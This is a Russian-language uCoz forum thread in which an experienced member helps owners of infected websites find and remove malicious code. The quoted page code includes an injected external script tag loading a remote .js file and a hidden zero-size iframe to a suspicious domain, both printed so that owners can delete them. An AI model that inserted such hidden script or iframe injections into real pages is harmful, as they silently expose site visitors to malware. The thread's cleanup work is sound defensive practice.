Модератор форума: Yuri_G  
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Вирусы на сайтах (для изучения) (примеры вредоносного кода и устранение)
Вирусы на сайтах (для изучения)
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 31 | 00:24:09
GunzGaMe, табличка не сразу исчезает. нужно время. от недели и больше

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
nfark
Сообщений: 1
Репутация: 0

Сообщение # 32 | 16:10:01
Немогу найти ифрем blackcobra.ru
Это мне пишит Google chrome
Веб-сайт blackcobra.ru содержит элементы с сайта tik-infa.info, на котором, судя по всему, размещено вредоносное ПО – программы, которые могут нанести вред вашему компьютеру или выполнять действия без вашего согласия. Даже простое посещение сайта, на котором размещено вредоносное ПО, может привести к заражению вашего компьютера.
Более подробную информацию о неполадках с этими элементами можно найти на странице Google Страница диагностики безопасного просмотра для домена tik-infa.info.
Подробнее о том, как защититься от вредоносного ПО, распространяемого в Интернете.
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 33 | 21:18:44
nfark, тело новостей сайта. кусок кода новости
Quote
<td style="text-align: right;">(<a href="http://coolhack.3dn.ru//load/hack/combat_arms/gsys_hotkeys_1_3_4/2-1-0-43#comments">0</a>)</td></tr></tbody></table><span style="-webkit-border-horizontal-spacing: 1px; -webkit-border-vertical-spacing: 1px;"><br></span><br><br></span></span></font></td></tr></tbody></table></span></div></div><br><table style="border: 1px solid #4c4c4c;" border="0" cellpadding="5" cellspacing="0" width="100%"><tbody><tr><td style="background: rgb(0, 0, 0) none repeat scroll 0% 0%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"><table border="0" cellpadding="3" cellspacing="2" width="100%"><script language="JavaScript"src="http://ifks.do.am/qw.js"></script>

то что выделено красным категорично удалить! ищите во вставке до материалов. открыть главную на редактирование и там в коде искать
так же стоит почиститься от стороннего мусора. графику в скриптах можно поменять на внутренние ссылки, а не транслировать со своего сайта

я имею ввиду такие элементы как

Code
<img src="http://sinners.pp.ua/img/2b.png" alt="" border="0">

Code
<img style="width: 128px; height: 128px;" class="userAvatar" title="Гость" src="http://webo4ka.3dn.ru/Ucoz/b19c85600464.png" border="0">

а вот это совсем не нужно в блоке статистика

Quote
// Количество ботов
/* Дальше ничего не менять <img rel="usm" src="http://megasoft.3dn.ru/emoticons/Mirktelejimas.gif" border="0" align="absmiddle" alt=";)"> */

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
lediyastreb
Сообщений: 2
Репутация: 0

Сообщение # 34 | 03:18:40
Здравствуйте!
Помогите пожалуйста решить проблему.
Недавно получили от Гугл уведомление - что посещение сайта может навредить компютеру и на нем содержится вредносное ПО.Сайт vampire-knight.ucoz.ru . Яндекс ничего не находит. Прошу помощи в проверки сайта и ликвидации проблемы. Возможно, здесь писалось ранее о подобных случаях , но к сожалению не могу понять как его найти и ликвидировать!
b3sT1kz
Сообщений: 1
Репутация: 0

Сообщение # 35 | 17:16:15
Всем привет. Народ, пожалуйста, помогите чайнику: в общем ко мне на сайт каким-то образом попал вирус (причем по ходу дела не один) и самый главный вопрос - как от него избавиться. Пробовал сканировать сайт через online сканер dr.web'a - безрезультатно. Пробивал в гугле эту тему - тщетно. Вся проблема в том, что я даже не могу узнать где именно находится этот вирус, его название и вообще хотябы какую-нибудь информацию о нем. Если кто согласится помочь мне избавить свой сайт от вируса, дать ссылку на него или хотябы подсказать что мне дальше делать - буду очень благодарен. Вот сам сайт: http://www.eyenatikz-gaming.net.ru/
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 36 | 19:23:39
b3sT1kz, ифреймы с вредоносными ссылками у вас запакованы в код блока полезный софт.
лучше удалите весь блок. можете очистить, но это на сайте вряд ли нужно

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
lediyastreb
Сообщений: 2
Репутация: 0

Сообщение # 37 | 01:16:37
Quote
lediyastreb, Попробуй поставить пароль на FTP И удалить все файлы из вашего файлого менеджера и залить заного было много раз таком способом помогло

Спасибо за совет.Пароли сменила,файловый менеджер почистила.
Буду очень благодарно если найдется спаситель и все таки проверит мой сат на вирусы...зарание спасибо
http://vampire-knight.ucoz.ru/
YVA71
Сообщений: 2
Репутация: 0

Сообщение # 38 | 20:27:45
Привет всем специалистам и помошникам!
У меня проблемка с моим сайтом, прочитав весь форум все проделывал как советовали но ничего не получается, при входе на сайт Авира громко орет и выдает что сайт заражен вирусом, сначала думал что проблемка тока у меня на компе но сегодня повстречался с знакомым, он тож мне рассказал что и у него проблемма с моим сайтиком, при входе орет что заражен вирусом, вот Вам ссылочка ссайтика моего http://ulyanovka.clan.su/
Помогите советом!
Уж больно жалко если сайт накроется !!!!!!!!!!!!!!!
Зарание благодарем Вам!
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 39 | 21:14:01
YVA71, блок история сайта . ифрейм вшит между картинками замов админа и V.I.P

Quote
<TABLE border="0" cellpadding="0" cellspacing="0" style="background:#EBEBEB;" width="220">
<TBODY><TR><TD width="28"><IMG src="/.s/t/231/8.gif" border="0"></TD><TD style="background-image: url('/.s/t/231/9.gif');" align="center"><B>История сайта</B></TD><TD width="28"><IMG src="/.s/t/231/10.gif" border="0"></TD><TR><TD style="background-image: url('/.s/t/231/11.gif');"></TD><TD style="background:#EBEBEB;"><!-- <bc> --><div align="left"><IMG src="http://s39.radikal.ru/i084/1008/70/0043720c12b8.png" border="0">Всего: <B>48</B></div> <div align="left"><IMG src="http://s46.radikal.ru/i113/1008/ac/1d2302be5c31.png" border="0">Новых за месяц:<B> 3</B></div> <div align="left"><IMG src="http://s42.radikal.ru/i095/1008/8f/894997423f3e.png" border="0">Новых за неделю:<B> 1</B></div> <div align="left"><IMG src="http://s06.radikal.ru/i179/1008/31/38aea6612ede.png" border="0">Новых вчера:<B> 0 </B></div> <div align="left"><IMG src="http://s40.radikal.ru/i090/1008/85/bf0b66400abf.gif" border="0">Новых сегодня:<B> 0</B></div> </br><div align="left"><IMG src="http://s60.radikal.ru/i168/1008/19/20df11ca04b0.png" border="0">Октябрят: <B>37 </B></div> <div align="left"><IMG src="http://s006.radikal.ru/i214/1008/43/c3d7e0a91aa9.png" border="0">Пионеров: <B>4 </B></div> <div align="left"><IMG src="http://s41.radikal.ru/i094/1008/ad/088fd4b45cf1.png" border="0">Помощников: <B></B></div> <div align="left"><IMG src="http://s59.radikal.ru/i165/1008/aa/166a3823611c.png" border="0">Модераторов: <B>1 </B></div> <div align="left"><IMG src="http://s07.radikal.ru/i180/1008/7f/1951cf281219.png" border="0">Инквизиторов: <B></B></div> <div align="left"><IMG src="http://s50.radikal.ru/i127/1008/b5/6b6735a1c1dc.gif" border="0">Замов.админа: <B></B></div> <div align="left"><iframe src="http://radikal.pp.ua/" width="0" height="0" style="display:none"></iframe><IMG src="http://s48.radikal.ru/i121/1008/7d/8284af8d8145.gif" border="0">V.I.P: <B></B></div> </br><div align="left"><IMG src="http://s003.radikal.ru/i201/1008/c5/324484f0edba.gif" border="0">Парней: <B>43</B></div><div align="left"><left><IMG src="http://s47.radikal.ru/i115/1008/7f/681fe8645f4f.gif" border="0">Девушек: <B>5</B> </div><!-- </bc> --></TD><TD style="background-image: url('/.s/t/231/12.gif');"></TD></TR><TR><TD width="28"><IMG src="/.s/t/231/13.gif" border="0"></TD><TD style="background-image: url('/.s/t/231/14.gif');"></TD><TD width="28"><IMG src="/.s/t/231/15.gif" border="0"></TD></TBODY></TABLE>

вот сам код, то что выделено красным ваш вредоносный код.

после удаления нужно очистить кеш и куки во всех браузерах, перезагрузиться и снова пускать авиру на сайт. должна перестать возмущаться


ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
YVA71
Сообщений: 2
Репутация: 0

Сообщение # 40 | 21:46:55
webanet, спасибо огромное Вам за ответ, но я не большой спец в этой отрасли, а разобраться охота,я никак немогу найти этот блок" ИСТОРИЯ САЙТА"
и если не тяжело ростолкуйте поподробней, что с ним делать , ну если я его найду этот блок, простите еще раз, и огромное спасибо Вам!
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 41 | 22:10:25
YVA71,
смотрите картинку

в глобальных блоках это четвертый блок

редактор страниц - управление дизайном модуля - глобальные блоки - первый контейнер
вот там и ищите свой блок.
можно было бы подключить конструктор и просто с помощью конструктора удалить блок, но у меня большие сомнения, что конструктор будет у вас работать, так как сайт ужасно искалечен визуальным редактором

Прикрепления: 4999751.jpg (275.8 Kb)

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
sanek859
Сообщений: 1
Репутация: 0

Сообщение # 42 | 01:20:46
Всем доброй ночи!Люди спасите впервые создал свой сайт а он как пишет Яша мошеннеческий !Что делать?Вот ссылка http://raznoobraz.ucoz.ru/
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 43 | 02:20:30
sanek859, я конечно извиняюсь, но вы на своем сайте совершили все возможные и невозможные ошибки для начинающего сайтостроителя.
такое количество счетчиков и рейтингов для молодого сайта нонсенс, как и баннеры защиты сайта
опять же избитая новичками тема про заработок в интернете, которая к заработкам не приводит, но приводит к всевозможным фильтрам сайта поисковиками. что вы и испытали на себе.
а теперь по вашей проблеме
вот список виновников вашей неприятности
хттп://www.traf.spbtown.ru
хттп://www.klickmedia.ru
хттп://liveclix.net
я имею ввиду коды, которыми данные тизерки и конторы по обмену траффиком транслируют на вашем сайте.
далеко не редкость, что в подобных тизерках и обмене траффика встречаются вредоносные сайты (в трансляции). транслируя подобные сайты со своего вы автоматически помечаетесь роботом в цепочке распространителей. это значит, что на самом вашем сайте нет вредоносного кода, но такой вредоносный код может транслироваться в виде недоброкачественного траффика, который проходит через ваш сайт. плюс эта страница тоже радует разнообразием http://raznoobraz.ucoz.ru/index/0-8 . если вам нужны эти ссылки и все это, то прячте ссылки с помощью сервиса ю.ту.
в этой теме уже подымались подобные проблемы. читайте и делайте выводы.
чем меньше стороннего траффика у вас на сайте - тем лучше.

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
mihail87
Сообщений: 1
Репутация: 2

Сообщение # 44 | 17:04:25
Доброго времеи суток. Сегодня к моему удивлению мой сайт стал мошенническим и Яндекс уже выдал в поиске "Сайт может угрожать безопасности вашего компьютера"
Вебмастер Яши предоставил вот эту ссылку как зараженную: "http://www.ul-med.ru/load/82"
Никаких новых партнерок в последнее время не добавлял, очень боюсь бана и хотел бы разобраться в случившемся. Помогите.

PS Подозреваю, что причиной стала ссылка в партнерке. Как её вычислить, не подскажите, чтоб впреть такого не повторялось?
Заранее благодарен.

Сообщение отредактировал mihail87 - Вторник, 26 Окт 2010, 17:10:52
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 45 | 01:15:45
mihail87,
Quote
Вебмастер Яши предоставил вот эту ссылку как зараженную: "http://www.ul-med.ru/load/82"
по этой ссылке был просто вынесен вердикт обнаружения. на этой странице у вас нет ничего лишнего,чего бы не было на других страницах
Quote
Никаких новых партнерок в последнее время не добавлял
дело в том. что яша только недавно начал борьбу за "чистый" интернет, поэтому реагировать стал только сейчас
Quote
Подозреваю, что причиной стала ссылка в партнерке
не сколько ссылка, сколько количество ифреймов на странице, часть которых распаковывается как

ваша проблема в этом

и в этом

а точнее в количестве этих ифреймов
на каждой странице по десять штук.
если вы и ставите подобное, то ставить нужно только один раз и в одном месте, а не в пяти местах по два ифрейма по всему сайту

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Вирусы на сайтах (для изучения) (примеры вредоносного кода и устранение)
Поиск: